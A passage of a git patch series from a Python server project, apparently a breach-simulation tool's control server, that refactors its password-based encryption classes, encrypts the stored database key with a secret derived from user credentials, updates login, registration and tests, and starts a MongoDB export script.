pb_encryptor.encrypt(plaintext_config) return {"config_export": config_export, "encrypted": should_encrypt} diff --git a/monkey/monkey_island/cc/resources/configuration_import.py b/monkey/monkey_island/cc/resources/configuration_import.py index 6c0575e94..3a66a2ed0 100644 --- a/monkey/monkey_island/cc/resources/configuration_import.py +++ b/monkey/monkey_island/cc/resources/configuration_import.py @@ -11,7 +11,7 @@ from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.server_utils.encryption import ( InvalidCiphertextError, InvalidCredentialsError, - PasswordBasedEncryptor, + PasswordBasedStringEncryptor, is_encrypted, ) from monkey_island.cc.services.config import ConfigService @@ -72,7 +72,7 @@ class ConfigurationImport(flask_restful.Resource): try: config = request_contents["config"] if ConfigurationImport.is_config_encrypted(request_contents["config"]): - pb_encryptor = PasswordBasedEncryptor(request_contents["password"]) + pb_encryptor = PasswordBasedStringEncryptor(request_contents["password"]) config = pb_encryptor.decrypt(config) return json.loads(config) except (JSONDecodeError, InvalidCiphertextError): diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index 7d806139c..84e6e6252 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -1,11 +1,10 @@ from monkey_island.cc.server_utils.encryption.i_encryptor import IEncryptor from monkey_island.cc.server_utils.encryption.key_based_encryptor import KeyBasedEncryptor -from monkey_island.cc.server_utils.encryption.password_based_encryption import ( - InvalidCiphertextError, - InvalidCredentialsError, - PasswordBasedEncryptor, +from monkey_island.cc.server_utils.encryption.password_based_string_encryption import ( + PasswordBasedStringEncryptor, is_encrypted, ) +from .password_based_byte_encryption import InvalidCredentialsError, InvalidCiphertextError from monkey_island.cc.server_utils.encryption.data_store_encryptor import ( DataStoreEncryptor, get_datastore_encryptor, diff --git a/monkey/monkey_island/cc/server_utils/encryption/password_based_encryption.py b/monkey/monkey_island/cc/server_utils/encryption/password_based_byte_encryption.py similarity index 64% rename from monkey/monkey_island/cc/server_utils/encryption/password_based_encryption.py rename to monkey/monkey_island/cc/server_utils/encryption/password_based_byte_encryption.py index 20708ce31..569dc0d12 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/password_based_encryption.py +++ b/monkey/monkey_island/cc/server_utils/encryption/password_based_byte_encryption.py @@ -1,6 +1,6 @@ -import base64 import io import logging +from io import BytesIO import pyAesCrypt @@ -17,36 +17,28 @@ logger = logging.getLogger(__name__) # Note: password != key -class PasswordBasedEncryptor(IEncryptor): +class PasswordBasedByteEncryptor(IEncryptor): _BUFFER_SIZE = pyAesCrypt.crypto.bufferSizeDef def __init__(self, password: str): self.password = password - def encrypt(self, plaintext: str) -> str: - plaintext_stream = io.BytesIO(plaintext.encode()) + def encrypt(self, plaintext: BytesIO) -> BytesIO: ciphertext_stream = io.BytesIO() - pyAesCrypt.encryptStream( - plaintext_stream, ciphertext_stream, self.password, self._BUFFER_SIZE - ) + pyAesCrypt.encryptStream(plaintext, ciphertext_stream, self.password, self._BUFFER_SIZE) - ciphertext_b64 = base64.b64encode(ciphertext_stream.getvalue()) - logger.info("String encrypted.") + return ciphertext_stream - return ciphertext_b64.decode() - - def decrypt(self, ciphertext: str): - ciphertext = base64.b64decode(ciphertext) - ciphertext_stream = io.BytesIO(ciphertext) + def decrypt(self, ciphertext: BytesIO) -> BytesIO: plaintext_stream = io.BytesIO() - ciphertext_stream_len = len(ciphertext_stream.getvalue()) + ciphertext_stream_len = len(ciphertext.getvalue()) try: pyAesCrypt.decryptStream( - ciphertext_stream, + ciphertext, plaintext_stream, self.password, self._BUFFER_SIZE, @@ -59,7 +51,7 @@ class PasswordBasedEncryptor(IEncryptor): else: logger.info("The corrupt ciphertext provided.") raise InvalidCiphertextError - return plaintext_stream.getvalue().decode("utf-8") + return plaintext_stream class InvalidCredentialsError(Exception): @@ -68,8 +60,3 @@ class InvalidCredentialsError(Exception): class InvalidCiphertextError(Exception): """ Raised when ciphertext is corrupted """ - - -def is_encrypted(ciphertext: str) -> bool: - ciphertext = base64.b64decode(ciphertext) - return ciphertext.startswith(b"AES") diff --git a/monkey/monkey_island/cc/server_utils/encryption/password_based_string_encryption.py b/monkey/monkey_island/cc/server_utils/encryption/password_based_string_encryption.py new file mode 100644 index 000000000..ea796a441 --- /dev/null +++ b/monkey/monkey_island/cc/server_utils/encryption/password_based_string_encryption.py @@ -0,0 +1,38 @@ +import base64 +import io +import logging + +import pyAesCrypt + +from monkey_island.cc.server_utils.encryption import IEncryptor +from monkey_island.cc.server_utils.encryption.password_based_byte_encryption import ( + PasswordBasedByteEncryptor, +) + +logger = logging.getLogger(__name__) + + +class PasswordBasedStringEncryptor(IEncryptor): + + _BUFFER_SIZE = pyAesCrypt.crypto.bufferSizeDef + + def __init__(self, password: str): + self.password = password + + def encrypt(self, plaintext: str) -> str: + plaintext_stream = io.BytesIO(plaintext.encode()) + ciphertext = PasswordBasedByteEncryptor(self.password).encrypt(plaintext_stream) + + return base64.b64encode(ciphertext.getvalue()).decode() + + def decrypt(self, ciphertext: str) -> str: + ciphertext = base64.b64decode(ciphertext) + ciphertext_stream = io.BytesIO(ciphertext) + + plaintext_stream = PasswordBasedByteEncryptor(self.password).decrypt(ciphertext_stream) + return plaintext_stream.getvalue().decode("utf-8") + + +def is_encrypted(ciphertext: str) -> bool: + ciphertext = base64.b64decode(ciphertext) + return ciphertext.startswith(b"AES") diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py index fb397f234..bf7ccff80 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py @@ -8,7 +8,7 @@ from tests.unit_tests.monkey_island.cc.services.utils.ciphertexts_for_encryption from common.utils.exceptions import InvalidConfigurationError from monkey_island.cc.resources.configuration_import import ConfigurationImport -from monkey_island.cc.server_utils.encryption import PasswordBasedEncryptor +from monkey_island.cc.server_utils.encryption import PasswordBasedStringEncryptor def test_is_config_encrypted__json(monkey_config_json): @@ -17,7 +17,7 @@ def test_is_config_encrypted__json(monkey_config_json): @pytest.mark.slow def test_is_config_encrypted__ciphertext(monkey_config_json): - pb_encryptor = PasswordBasedEncryptor(PASSWORD) + pb_encryptor = PasswordBasedStringEncryptor(PASSWORD) encrypted_config = pb_encryptor.encrypt(monkey_config_json) assert ConfigurationImport.is_config_encrypted(encrypted_config) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py index d00609481..a231f3219 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py @@ -4,7 +4,10 @@ from tests.unit_tests.monkey_island.cc.services.utils.ciphertexts_for_encryption VALID_CIPHER_TEXT, ) -from monkey_island.cc.server_utils.encryption import InvalidCredentialsError, PasswordBasedEncryptor +from monkey_island.cc.server_utils.encryption import ( + InvalidCredentialsError, + PasswordBasedStringEncryptor, +) MONKEY_CONFIGS_DIR_PATH = "monkey_configs" STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME = "monkey_config_standard.json" @@ -14,27 +17,27 @@ INCORRECT_PASSWORD = "goodbye321" @pytest.mark.slow def test_encrypt_decrypt_string(monkey_config_json): - pb_encryptor = PasswordBasedEncryptor(PASSWORD) + pb_encryptor = PasswordBasedStringEncryptor(PASSWORD) encrypted_config = pb_encryptor.encrypt(monkey_config_json) assert pb_encryptor.decrypt(encrypted_config) == monkey_config_json @pytest.mark.slow def test_decrypt_string__wrong_password(monkey_config_json): - pb_encryptor = PasswordBasedEncryptor(INCORRECT_PASSWORD) + pb_encryptor = PasswordBasedStringEncryptor(INCORRECT_PASSWORD) with pytest.raises(InvalidCredentialsError): pb_encryptor.decrypt(VALID_CIPHER_TEXT) @pytest.mark.slow def test_decrypt_string__malformed_corrupted(): - pb_encryptor = PasswordBasedEncryptor(PASSWORD) + pb_encryptor = PasswordBasedStringEncryptor(PASSWORD) with pytest.raises(ValueError): pb_encryptor.decrypt(MALFORMED_CIPHER_TEXT_CORRUPTED) @pytest.mark.slow def test_decrypt_string__no_password(monkey_config_json): - pb_encryptor = PasswordBasedEncryptor("") + pb_encryptor = PasswordBasedStringEncryptor("") with pytest.raises(InvalidCredentialsError): pb_encryptor.decrypt(VALID_CIPHER_TEXT) From fd1cb9d36ddd376c8b6d112f8fc157889a28a420 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 30 Sep 2021 12:02:43 +0300 Subject: [PATCH 275/454] Add a secret to datastore encryptor This change enables the encryption/decryption of mongo key with a custom secret --- .../encryption/data_store_encryptor.py | 30 ++++++++++------ monkey/tests/data_for_tests/mongo_key.bin | Bin 32 -> 327 bytes .../unit_tests/monkey_island/cc/conftest.py | 5 ++- .../test_string_list_encryptor.py | 8 ----- .../encryption/test_data_store_encryptor.py | 33 +++++++----------- .../test_scoutsuite_auth_service.py | 9 ++--- 6 files changed, 38 insertions(+), 47 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index 215703c02..df185a1c8 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -1,3 +1,4 @@ +import io import os # PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but @@ -5,6 +6,9 @@ import os from Crypto import Random # noqa: DUO133 # nosec: B413 from monkey_island.cc.server_utils.encryption import KeyBasedEncryptor +from monkey_island.cc.server_utils.encryption.password_based_byte_encryption import ( + PasswordBasedByteEncryptor, +) from monkey_island.cc.server_utils.file_utils import open_new_securely_permissioned_file _encryptor = None @@ -14,24 +18,30 @@ class DataStoreEncryptor: _BLOCK_SIZE = 32 _KEY_FILENAME = "mongo_key.bin" - def __init__(self, key_file_dir): + def __init__(self, key_file_dir: str, secret: str): key_file = os.path.join(key_file_dir, self._KEY_FILENAME) if os.path.exists(key_file): - self._load_existing_key(key_file) + self._load_existing_key(key_file, secret) else: - self._init_key(key_file) + self._init_key(key_file, secret) self._key_base_encryptor = KeyBasedEncryptor(self._cipher_key) - def _init_key(self, password_file_path: str): + def _init_key(self, password_file_path: str, secret: str): self._cipher_key = Random.new().read(self._BLOCK_SIZE) + encrypted_key = ( + PasswordBasedByteEncryptor(secret).encrypt(io.BytesIO(self._cipher_key)).getvalue() + ) with open_new_securely_permissioned_file(password_file_path, "wb") as f: - f.write(self._cipher_key) + f.write(encrypted_key) - def _load_existing_key(self, key_file): - with open(key_file, "rb") as f: - self._cipher_key = f.read() + def _load_existing_key(self, key_file_path: str, secret: str): + with open(key_file_path, "rb") as f: + encrypted_key = f.read() + self._cipher_key = ( + PasswordBasedByteEncryptor(secret).decrypt(io.BytesIO(encrypted_key)).getvalue() + ) def enc(self, message: str): return self._key_base_encryptor.encrypt(message) @@ -40,10 +50,10 @@ class DataStoreEncryptor: return self._key_base_encryptor.decrypt(enc_message) -def initialize_datastore_encryptor(key_file_dir): +def initialize_datastore_encryptor(key_file_dir: str, secret: str): global _encryptor - _encryptor = DataStoreEncryptor(key_file_dir) + _encryptor = DataStoreEncryptor(key_file_dir, secret) def get_datastore_encryptor(): diff --git a/monkey/tests/data_for_tests/mongo_key.bin b/monkey/tests/data_for_tests/mongo_key.bin index 6b8091efb87cf62909e0df7cb1b32a26fbbe1b13..edf082ae1b34cf2b5b99b1d7598909643aff89b3 100644 GIT binary patch literal 327 zcmZ>C4Q66skaiAobqsNJiFb-*D5!KyEp{%dEGSVh(=*UBU}#_%aA4gLUR!lWLqF{H z7WPDm&*jT!th~@Azpn1ayd?)pPMGU^Em3H&?domnOAUC*x%?JiYpsIra^0j-+g$zyQPc!dY-F28z?NHS=?+{PK z48HwJ#?F!Rvw3th&pKD->W5k~JkjPBwC>iroL6Oc;f|_YWJL42&CV?R>B^^{)yCdp G(gOfVLQz=& literal 32 qcmV+*0N?*B`K`wF4N^}E{V5abou0lKRFizfQd8~TCPNe92btmtybtgI diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index 9cca0caab..cde82e939 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -27,6 +27,9 @@ def monkey_config_json(monkey_config): return json.dumps(monkey_config) +ENCRYPTOR_SECRET = "m0nk3y_u53r:53cr3t_p455w0rd" + + @pytest.fixture def uses_encryptor(data_for_tests_dir): - initialize_datastore_encryptor(data_for_tests_dir) + initialize_datastore_encryptor(data_for_tests_dir, ENCRYPTOR_SECRET) diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py index d02ad5bbb..7ea21849b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py @@ -1,6 +1,3 @@ -import pytest - -from monkey_island.cc.server_utils.encryption import initialize_datastore_encryptor from monkey_island.cc.server_utils.encryption.dict_encryption.field_encryptors import ( StringListEncryptor, ) @@ -9,11 +6,6 @@ MOCK_STRING_LIST = ["test_1", "test_2"] EMPTY_LIST = [] -@pytest.fixture -def uses_encryptor(data_for_tests_dir): - initialize_datastore_encryptor(data_for_tests_dir) - - def test_encryption_and_decryption(uses_encryptor): encrypted_list = StringListEncryptor.encrypt(MOCK_STRING_LIST) assert not encrypted_list == MOCK_STRING_LIST diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py index bb005fbf7..98229c6fe 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py @@ -1,35 +1,26 @@ import os +import pytest +from tests.unit_tests.monkey_island.cc.conftest import ENCRYPTOR_SECRET + from monkey_island.cc.server_utils.encryption import ( + DataStoreEncryptor, get_datastore_encryptor, initialize_datastore_encryptor, ) -PASSWORD_FILENAME = "mongo_key.bin" - PLAINTEXT = "Hello, Monkey!" -CYPHERTEXT = "vKgvD6SjRyIh1dh2AM/rnTa0NI/vjfwnbZLbMocWtE4e42WJmSUz2ordtbQrH1Fq" -def test_aes_cbc_encryption(data_for_tests_dir): - initialize_datastore_encryptor(data_for_tests_dir) +@pytest.mark.usefixtures("uses_encryptor") +def test_encryption(data_for_tests_dir): + encrypted_data = get_datastore_encryptor().enc(PLAINTEXT) + assert encrypted_data != PLAINTEXT - assert get_datastore_encryptor().enc(PLAINTEXT) != PLAINTEXT - - -def test_aes_cbc_decryption(data_for_tests_dir): - initialize_datastore_encryptor(data_for_tests_dir) - - assert get_datastore_encryptor().dec(CYPHERTEXT) == PLAINTEXT - - -def test_aes_cbc_enc_dec(data_for_tests_dir): - initialize_datastore_encryptor(data_for_tests_dir) - - assert get_datastore_encryptor().dec(get_datastore_encryptor().enc(PLAINTEXT)) == PLAINTEXT + decrypted_data = get_datastore_encryptor().dec(encrypted_data) + assert decrypted_data == PLAINTEXT def test_create_new_password_file(tmpdir): - initialize_datastore_encryptor(tmpdir) - - assert os.path.isfile(os.path.join(tmpdir, PASSWORD_FILENAME)) + initialize_datastore_encryptor(tmpdir, ENCRYPTOR_SECRET) + assert os.path.isfile(os.path.join(tmpdir, DataStoreEncryptor._KEY_FILENAME)) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index 2e6c2fd50..32b4f19ad 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -5,10 +5,7 @@ import pytest from common.config_value_paths import AWS_KEYS_PATH from monkey_island.cc.database import mongo -from monkey_island.cc.server_utils.encryption import ( - get_datastore_encryptor, - initialize_datastore_encryptor, -) +from monkey_island.cc.server_utils.encryption import get_datastore_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import ( is_aws_keys_setup, @@ -19,7 +16,7 @@ class MockObject: pass -@pytest.mark.usefixtures("uses_database") +@pytest.mark.usefixtures("uses_database", "uses_encryptor") def test_is_aws_keys_setup(tmp_path): # Mock default configuration ConfigService.init_default_config() @@ -29,8 +26,6 @@ def test_is_aws_keys_setup(tmp_path): mongo.db.config.find_one = MagicMock(return_value=ConfigService.default_config) assert not is_aws_keys_setup() - # Make sure noone changed config path and broke this function - initialize_datastore_encryptor(tmp_path) bogus_key_value = get_datastore_encryptor().enc("bogus_aws_key") dpath.util.set( ConfigService.default_config, AWS_KEYS_PATH + ["aws_secret_access_key"], bogus_key_value From 4f176939bba78c936dfc739ce86352ea794c9f45 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 30 Sep 2021 17:08:38 +0300 Subject: [PATCH 276/454] Split up the initialization of mongo_key into 2 parts: directory of mongo key initialization that happens during launch and initialization of key which happens after login or registration --- .../monkey_island/cc/resources/auth/auth.py | 24 +++---- .../cc/resources/auth/credential_utils.py | 37 +++++++++++ .../cc/resources/auth/password_utils.py | 12 ---- .../cc/resources/auth/registration.py | 22 +++---- .../encryption/data_store_encryptor.py | 63 ++++++++++++------- .../cc/ui/src/services/AuthService.js | 2 +- .../unit_tests/monkey_island/cc/conftest.py | 4 +- .../encryption/test_data_store_encryptor.py | 4 +- 8 files changed, 104 insertions(+), 64 deletions(-) create mode 100644 monkey/monkey_island/cc/resources/auth/credential_utils.py delete mode 100644 monkey/monkey_island/cc/resources/auth/password_utils.py diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 064395eaf..9c1c8fc62 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -1,4 +1,3 @@ -import json import logging from functools import wraps @@ -9,8 +8,13 @@ from flask_jwt_extended.exceptions import JWTExtendedException from jwt import PyJWTError import monkey_island.cc.environment.environment_singleton as env_singleton -import monkey_island.cc.resources.auth.password_utils as password_utils import monkey_island.cc.resources.auth.user_store as user_store +from monkey_island.cc.resources.auth.credential_utils import ( + get_creds_from_request, + get_secret_from_request, + password_matches_hash, +) +from monkey_island.cc.server_utils.encryption.data_store_encryptor import setup_datastore_key logger = logging.getLogger(__name__) @@ -38,28 +42,20 @@ class Authenticate(flask_restful.Resource): "password": "my_password" } """ - (username, password) = _get_credentials_from_request(request) + username, password = get_creds_from_request(request) if _credentials_match_registered_user(username, password): + setup_datastore_key(get_secret_from_request(request)) access_token = _create_access_token(username) return make_response({"access_token": access_token, "error": ""}, 200) else: return make_response({"error": "Invalid credentials"}, 401) -def _get_credentials_from_request(request): - credentials = json.loads(request.data) - - username = credentials["username"] - password = credentials["password"] - - return (username, password) - - -def _credentials_match_registered_user(username, password): +def _credentials_match_registered_user(username: str, password: str): user = user_store.UserStore.username_table.get(username, None) - if user and password_utils.password_matches_hash(password, user.secret): + if user and password_matches_hash(password, user.secret): return True return False diff --git a/monkey/monkey_island/cc/resources/auth/credential_utils.py b/monkey/monkey_island/cc/resources/auth/credential_utils.py new file mode 100644 index 000000000..1d7a00803 --- /dev/null +++ b/monkey/monkey_island/cc/resources/auth/credential_utils.py @@ -0,0 +1,37 @@ +import json +from typing import Tuple + +import bcrypt +from flask import Request, request + +from monkey_island.cc.environment.user_creds import UserCreds + + +def hash_password(plaintext_password): + salt = bcrypt.gensalt() + password_hash = bcrypt.hashpw(plaintext_password.encode("utf-8"), salt) + + return password_hash.decode() + + +def password_matches_hash(plaintext_password, password_hash): + return bcrypt.checkpw(plaintext_password.encode("utf-8"), password_hash.encode("utf-8")) + + +def get_user_credentials_from_request(_request) -> UserCreds: + username, password = get_creds_from_request(_request) + password_hash = hash_password(password) + + return UserCreds(username, password_hash) + + +def get_secret_from_request(_request) -> str: + username, password = get_creds_from_request(_request) + return f"{username}:{password}" + + +def get_creds_from_request(_request: Request) -> Tuple[str, str]: + cred_dict = json.loads(request.data) + username = cred_dict.get("username", "") + password = cred_dict.get("password", "") + return username, password diff --git a/monkey/monkey_island/cc/resources/auth/password_utils.py b/monkey/monkey_island/cc/resources/auth/password_utils.py deleted file mode 100644 index f470fd882..000000000 --- a/monkey/monkey_island/cc/resources/auth/password_utils.py +++ /dev/null @@ -1,12 +0,0 @@ -import bcrypt - - -def hash_password(plaintext_password): - salt = bcrypt.gensalt() - password_hash = bcrypt.hashpw(plaintext_password.encode("utf-8"), salt) - - return password_hash.decode() - - -def password_matches_hash(plaintext_password, password_hash): - return bcrypt.checkpw(plaintext_password.encode("utf-8"), password_hash.encode("utf-8")) diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index 12c17d6e5..0877ee4a3 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py +++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -1,13 +1,15 @@ -import json import logging import flask_restful from flask import make_response, request import monkey_island.cc.environment.environment_singleton as env_singleton -import monkey_island.cc.resources.auth.password_utils as password_utils from common.utils.exceptions import InvalidRegistrationCredentialsError, RegistrationNotNeededError -from monkey_island.cc.environment.user_creds import UserCreds +from monkey_island.cc.resources.auth.credential_utils import ( + get_secret_from_request, + get_user_credentials_from_request, +) +from monkey_island.cc.server_utils.encryption.data_store_encryptor import setup_datastore_key from monkey_island.cc.setup.mongo.database_initializer import reset_database logger = logging.getLogger(__name__) @@ -19,21 +21,13 @@ class Registration(flask_restful.Resource): return {"needs_registration": is_registration_needed} def post(self): - credentials = _get_user_credentials_from_request(request) + # TODO delete the old key here, before creating new one + credentials = get_user_credentials_from_request(request) try: env_singleton.env.try_add_user(credentials) + setup_datastore_key(get_secret_from_request(request)) reset_database() return make_response({"error": ""}, 200) except (InvalidRegistrationCredentialsError, RegistrationNotNeededError) as e: return make_response({"error": str(e)}, 400) - - -def _get_user_credentials_from_request(request): - cred_dict = json.loads(request.data) - - username = cred_dict.get("user", "") - password = cred_dict.get("password", "") - password_hash = password_utils.hash_password(password) - - return UserCreds(username, password_hash) diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index df185a1c8..e5a054080 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -1,8 +1,12 @@ +from __future__ import annotations + import io import os # PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but # is maintained. +from typing import Union + from Crypto import Random # noqa: DUO133 # nosec: B413 from monkey_island.cc.server_utils.encryption import KeyBasedEncryptor @@ -11,37 +15,42 @@ from monkey_island.cc.server_utils.encryption.password_based_byte_encryption imp ) from monkey_island.cc.server_utils.file_utils import open_new_securely_permissioned_file -_encryptor = None +_encryptor: Union[None, DataStoreEncryptor] = None class DataStoreEncryptor: _BLOCK_SIZE = 32 _KEY_FILENAME = "mongo_key.bin" - def __init__(self, key_file_dir: str, secret: str): - key_file = os.path.join(key_file_dir, self._KEY_FILENAME) + def __init__(self, key_file_dir: str): + self.key_file_path = os.path.join(key_file_dir, self._KEY_FILENAME) + self._key_base_encryptor = None - if os.path.exists(key_file): - self._load_existing_key(key_file, secret) + def init_key(self, secret: str): + if os.path.exists(self.key_file_path): + self._load_existing_key(secret) else: - self._init_key(key_file, secret) + self._create_new_key(secret) - self._key_base_encryptor = KeyBasedEncryptor(self._cipher_key) - - def _init_key(self, password_file_path: str, secret: str): - self._cipher_key = Random.new().read(self._BLOCK_SIZE) - encrypted_key = ( - PasswordBasedByteEncryptor(secret).encrypt(io.BytesIO(self._cipher_key)).getvalue() - ) - with open_new_securely_permissioned_file(password_file_path, "wb") as f: - f.write(encrypted_key) - - def _load_existing_key(self, key_file_path: str, secret: str): - with open(key_file_path, "rb") as f: + def _load_existing_key(self, secret: str): + with open(self.key_file_path, "rb") as f: encrypted_key = f.read() - self._cipher_key = ( + cipher_key = ( PasswordBasedByteEncryptor(secret).decrypt(io.BytesIO(encrypted_key)).getvalue() ) + self._key_base_encryptor = KeyBasedEncryptor(cipher_key) + + def _create_new_key(self, secret: str): + cipher_key = Random.new().read(self._BLOCK_SIZE) + encrypted_key = ( + PasswordBasedByteEncryptor(secret).encrypt(io.BytesIO(cipher_key)).getvalue() + ) + with open_new_securely_permissioned_file(self.key_file_path, "wb") as f: + f.write(encrypted_key) + self._key_base_encryptor = KeyBasedEncryptor(cipher_key) + + def is_key_setup(self) -> bool: + return self._key_base_encryptor is not None def enc(self, message: str): return self._key_base_encryptor.encrypt(message) @@ -50,10 +59,22 @@ class DataStoreEncryptor: return self._key_base_encryptor.decrypt(enc_message) -def initialize_datastore_encryptor(key_file_dir: str, secret: str): +def initialize_datastore_encryptor(key_file_dir: str): global _encryptor - _encryptor = DataStoreEncryptor(key_file_dir, secret) + _encryptor = DataStoreEncryptor(key_file_dir) + + +class EncryptorNotInitializedError(Exception): + pass + + +def setup_datastore_key(secret: str): + if _encryptor is None: + raise EncryptorNotInitializedError + else: + if not _encryptor.is_key_setup(): + _encryptor.init_key(secret) def get_datastore_encryptor(): diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index 11cf37044..7838a8563 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -46,7 +46,7 @@ export default class AuthService { return this._authFetch(this.REGISTRATION_API_ENDPOINT, { method: 'POST', body: JSON.stringify({ - 'user': username, + 'username': username, 'password': password }) }).then(res => { diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index cde82e939..4bd054610 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -11,6 +11,7 @@ from tests.unit_tests.monkey_island.cc.server_utils.encryption.test_password_bas ) from monkey_island.cc.server_utils.encryption import initialize_datastore_encryptor +from monkey_island.cc.server_utils.encryption.data_store_encryptor import setup_datastore_key @pytest.fixture @@ -32,4 +33,5 @@ ENCRYPTOR_SECRET = "m0nk3y_u53r:53cr3t_p455w0rd" @pytest.fixture def uses_encryptor(data_for_tests_dir): - initialize_datastore_encryptor(data_for_tests_dir, ENCRYPTOR_SECRET) + initialize_datastore_encryptor(data_for_tests_dir) + setup_datastore_key(ENCRYPTOR_SECRET) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py index 98229c6fe..22f2e9676 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py @@ -8,6 +8,7 @@ from monkey_island.cc.server_utils.encryption import ( get_datastore_encryptor, initialize_datastore_encryptor, ) +from monkey_island.cc.server_utils.encryption.data_store_encryptor import setup_datastore_key PLAINTEXT = "Hello, Monkey!" @@ -22,5 +23,6 @@ def test_encryption(data_for_tests_dir): def test_create_new_password_file(tmpdir): - initialize_datastore_encryptor(tmpdir, ENCRYPTOR_SECRET) + initialize_datastore_encryptor(tmpdir) + setup_datastore_key(ENCRYPTOR_SECRET) assert os.path.isfile(os.path.join(tmpdir, DataStoreEncryptor._KEY_FILENAME)) From 29f9384b6a29793bf2b009213af91d57c5ead702 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 27 Sep 2021 18:42:03 +0200 Subject: [PATCH 277/454] Deployment: Initial commit for mongo export utility --- deployment_scripts/dump_attack_mitigations.py | 60 +++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 deployment_scripts/dump_attack_mitigations.py diff --git a/deployment_scripts/dump_attack_mitigations.py b/deployment_scripts/dump_attack_mitigations.py new file mode 100644 index 000000000..39885d469 --- /dev/null +++ b/deployment_scripts/dump_attack_mitigations.py @@ -0,0 +1,60 @@ +import argparse + +import pymongo + +parser = argparse.ArgumentParser(description="Export attack mitigations from a database") +parser.add_argument( + "-host", "--mongo_host", default="localhost", help="URL for mongo database.", required=False +) +parser.add_argument( + "-port", + "--mongo_port", + action="store", + default=27017, + type=int, + help="Port for mongo database. Default 27017", + required=False, +) +parser.add_argument( + "-db", + "--database_name", + action="store", + default="monkeyisland", + help="Database name inside of mongo.", + required=False, +) +parser.add_argument( + "-cn", + "--collection_name", + action="store", + default="attack_mitigations", + help="Which collection are we going to export", + required=False, +) +args = parser.parse_args() + + +def connect_to_mongo(mongo_host: str, mongo_port: int, database_name: str) -> pymongo.MongoClient: + client = pymongo.MongoClient(host=mongo_host, port=mongo_port) + database = client.get_database(database_name) + 